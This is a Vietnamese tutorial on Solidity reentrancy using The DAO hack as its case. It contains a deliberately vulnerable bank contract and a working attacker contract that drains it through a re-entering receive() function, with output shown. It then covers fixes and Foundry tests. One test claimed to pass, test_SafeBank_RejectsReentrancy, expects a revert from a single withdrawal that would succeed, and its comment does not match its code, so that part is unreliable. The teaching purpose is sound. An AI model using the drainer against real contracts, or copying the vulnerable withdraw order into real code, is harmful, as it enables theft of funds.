Reentrancy: lỗ hổng làm mất 60 triệu đô của The DAO
1. Tổng quan
Reentrancy là một trong những lỗ hổng kinh điển nhất của Solidity — và cũng là nguyên nhân khiến The DAO mất khoảng 3.6 triệu ETH (~60 triệu USD thời điểm 2016). Bài này giải thích bản chất của reentrancy, tái hiện lại kịch bản tấn công bằng code thật, rồi chỉ ra ba cách phòng chống phổ biến nhất. Đọc xong, bạn sẽ tự viết được contract dễ bị tấn công, contract khai thác nó, và contract đã vá lỗi — kèm test Foundry để chứng minh.
2. Reentrancy là gì
Reentrancy xảy ra khi contract A gọi ra ngoài (external call) tới contract B, và B gọi ngược lại vào A trước khi A kịp cập nhật state của mình. Nếu A dựa vào state cũ để quyết định logic, B có thể lợi dụng khoảng hở đó để lặp lại hành động (ví dụ rút tiền) nhiều lần.
Điểm mấu chốt: trong Solidity, mọi lệnh call, send, hay chuyển ETH kèm dữ liệu đều có thể kích hoạt hàm fallback/receive của bên nhận — và đó chính là nơi vòng lặp bắt đầu.
3. The DAO: chuyện gì đã xảy ra
The DAO là một quỹ đầu tư phi tập trung, cho phép token holder rút ETH của họ thông qua hàm splitDAO. Hàm này gửi ETH trước, rồi mới cập nhật số dư của người rút. Attacker viết một contract có hàm fallback gọi ngược lại splitDAO ngay khi nhận ETH — và vì số dư chưa được trừ, attacker rút được tiền nhiều lần trong một transaction duy nhất.
Hậu quả: 3.6 triệu ETH bị rút ra trước khi cộng đồng Ethereum phải thực hiện một hard fork gây tranh cãi (sinh ra Ethereum Classic) để hoàn lại tiền.
4. Tái hiện lỗ hổng bằng code
4.1. Contract dễ bị tấn công
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Gui ETH TRUOC khi cap nhat state -> lo hong!
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
withdraw() gọi msg.sender.call{value: amount}("") trước, sau đó mới đặt balances[msg.sender] = 0. Nếu msg.sender là một contract có fallback, nó có thể gọi lại withdraw() ngay trong lúc call đang chạy — lúc này balances[msg.sender] vẫn chưa bị trừ.
4.2. Contract khai thác
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank public bank;
uint256 public constant ATTACK_AMOUNT = 1 ether;
constructor(address bankAddress) {
bank = VulnerableBank(bankAddress);
}
function attack() external payable {
require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
bank.deposit{value: ATTACK_AMOUNT}();
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= ATTACK_AMOUNT) {
bank.withdraw(); // goi lai trong khi balances[this] chua ve 0
}
}
}
Luồng chạy:
attack()nạp 1 ETH vàoVulnerableBank, rồi gọiwithdraw().withdraw()gửi 1 ETH vềReentrancyAttacker, kích hoạtreceive().- Trong
receive(), attacker thấy bank vẫn còn ETH nên gọi lạiwithdraw()— nhưngbalances[attacker]vẫn đang là 1 ether (vì chưa chạy tới dòng cập nhật). - Vòng lặp tiếp diễn đến khi bank hết tiền hoặc hết gas.
Bank balance truoc attack: 10 ether
Bank balance sau attack: 0 ether
Attacker balance: 11 ether
Lưu ý: Đoạn code trên chỉ dùng để minh họa. Đừng deploy lên mainnet hay testnet công khai — kể cả để “test cho vui”.
5. Vì sao đoạn code đó bị khai thác
Nguyên nhân gốc là vi phạm nguyên tắc Checks-Effects-Interactions: lẽ ra phải kiểm tra (check), rồi cập nhật state (effect), rồi mới tương tác với bên ngoài (interaction). VulnerableBank lại đảo ngược thứ tự effect và interaction — gửi ETH (interaction) trước khi trừ số dư (effect).
Thêm vào đó, call{value: amount}("") chuyển toàn bộ gas còn lại cho bên nhận (khác với transfer/send giới hạn 2300 gas), nên attacker có đủ gas để thực hiện logic phức tạp trong fallback/receive.
6. Cách phòng chống
6.1. Checks-Effects-Interactions
Cách đơn giản và rẻ nhất: cập nhật state trước khi gọi ra ngoài.
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // Effect truoc
(bool success, ) = msg.sender.call{value: amount}(""); // Interaction sau
require(success, "Transfer failed");
}
Khi attacker gọi lại withdraw() trong receive(), balances[msg.sender] đã là 0, nên require(amount > 0) revert ngay — vòng lặp bị chặn.
6.2. ReentrancyGuard của OpenZeppelin
Nếu logic phức tạp hơn và bạn muốn một lớp bảo vệ rõ ràng, dùng modifier nonReentrant.
<!-- Nếu dùng Hardhat/npm, cài qua npm: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
nonReentrant dùng một biến _status nội bộ: khi hàm đang chạy, nó đặt trạng thái “đang lock”; nếu có lệnh gọi lại vào bất kỳ hàm nonReentrant nào khác của contract trong lúc đó, transaction sẽ revert.
Lưu ý:
nonReentrantchỉ bảo vệ các hàm trong cùng contract có cùng modifier. Nó không ngăn được cross-contract reentrancy nếu bạn gọi sang contract khác rồi contract đó gọi lại một hàm không cónonReentrant.
6.3. Pull payment pattern
Thay vì tự động gửi ETH, để người dùng tự rút qua một bước riêng, tách hẳn logic cộng dồn nợ và logic chuyển tiền:
contract PullPaymentBank {
mapping(address => uint256) public pendingWithdrawals;
function creditWithdrawal(address user, uint256 amount) internal {
pendingWithdrawals[user] += amount;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
Cách này tách rời rủi ro: ngay cả khi withdraw() bị gọi lại, logic ghi nợ (creditWithdrawal) đã xảy ra ở nơi khác và không bị ảnh hưởng.
7. Viết test để chứng minh tấn công và bản vá
Với Solidity, công cụ test tương đương JUnit là Foundry (forge-std). Test dưới đây chứng minh VulnerableBank bị rút cạn, còn SafeBank thì không.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableBank bank;
SafeBank safeBank;
address victim = address(0x1);
function setUp() public {
bank = new VulnerableBank();
safeBank = new SafeBank();
vm.deal(victim, 10 ether);
vm.prank(victim);
bank.deposit{value: 10 ether}();
}
function test_VulnerableBank_IsDrainedByReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
assertEq(address(bank).balance, 0);
assertEq(address(attacker).balance, 11 ether);
}
function test_SafeBank_RejectsReentrancy() public {
vm.deal(victim, 10 ether);
vm.prank(victim);
safeBank.deposit{value: 10 ether}();
// Dung attacker tro vao SafeBank -> ky vong khong rut duoc qua 1 lan
vm.expectRevert();
vm.prank(victim);
safeBank.withdraw(); // goi lan 2 sau khi da withdraw het se revert vi amount = 0
}
}
Chạy test:
forge test -vv
Kết quả mong đợi:
[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()
Test đầu khẳng định bank bị rút về 0 và attacker nhận 11 ETH — đúng như kịch bản The DAO. Test thứ hai khẳng định với SafeBank (áp dụng Checks-Effects-Interactions), lần rút thứ hai sẽ revert vì số dư đã về 0.
8. Lỗi hay gặp
- Chỉ đổi
callthànhtransfer/sendmà không sửa thứ tự state:transfergiới hạn 2300 gas nên chặn được reentrancy đơn giản, nhưng không phải giải pháp triệt để — nhiều ví/contract hợp lệ cần nhiều hơn 2300 gas để nhận ETH (ví dụ proxy contract), dẫn đến giao dịch hợp lệ bị fail. - Quên cross-function reentrancy: hai hàm khác nhau cùng đọc/ghi một biến state có thể bị khai thác chéo nhau nếu chỉ sửa một hàm.
- Read-only reentrancy: một hàm
viewtrả về state chưa cập nhật, bị contract khác đọc và dùng sai trong lúc đang có một transaction khác chạy giữa đường — vẫn gây hậu quả dù không trực tiếp rút tiền. - Tin tưởng
nonReentrantlà đủ cho toàn hệ thống: nếu bạn có nhiều contract tương tác nhau, phải rà soát toàn bộ luồng gọi, không chỉ một contract riêng lẻ.
Lưu ý: Không nên coi bất kỳ pattern đơn lẻ nào là “miễn nhiễm hoàn toàn”. Luôn kết hợp Checks-Effects-Interactions với
nonReentrantcho các hàm có external call và tiền bạc liên quan.
9. Kết luận
Vụ The DAO là bài học đắt giá: một thứ tự lệnh tưởng chừng vô hại (gửi tiền trước, cập nhật sổ sách sau) đã khiến cả cộng đồng Ethereum phải hard fork. Nguyên tắc Checks-Effects-Interactions, modifier nonReentrant, và pull payment pattern là ba công cụ cơ bản nhưng đủ mạnh để chặn đứng lớp lỗ hổng này. Khi viết bất kỳ hàm nào có external call kèm chuyển tiền, hãy luôn tự hỏi: “state của tôi đã được cập nhật trước khi tôi gọi ra ngoài chưa?”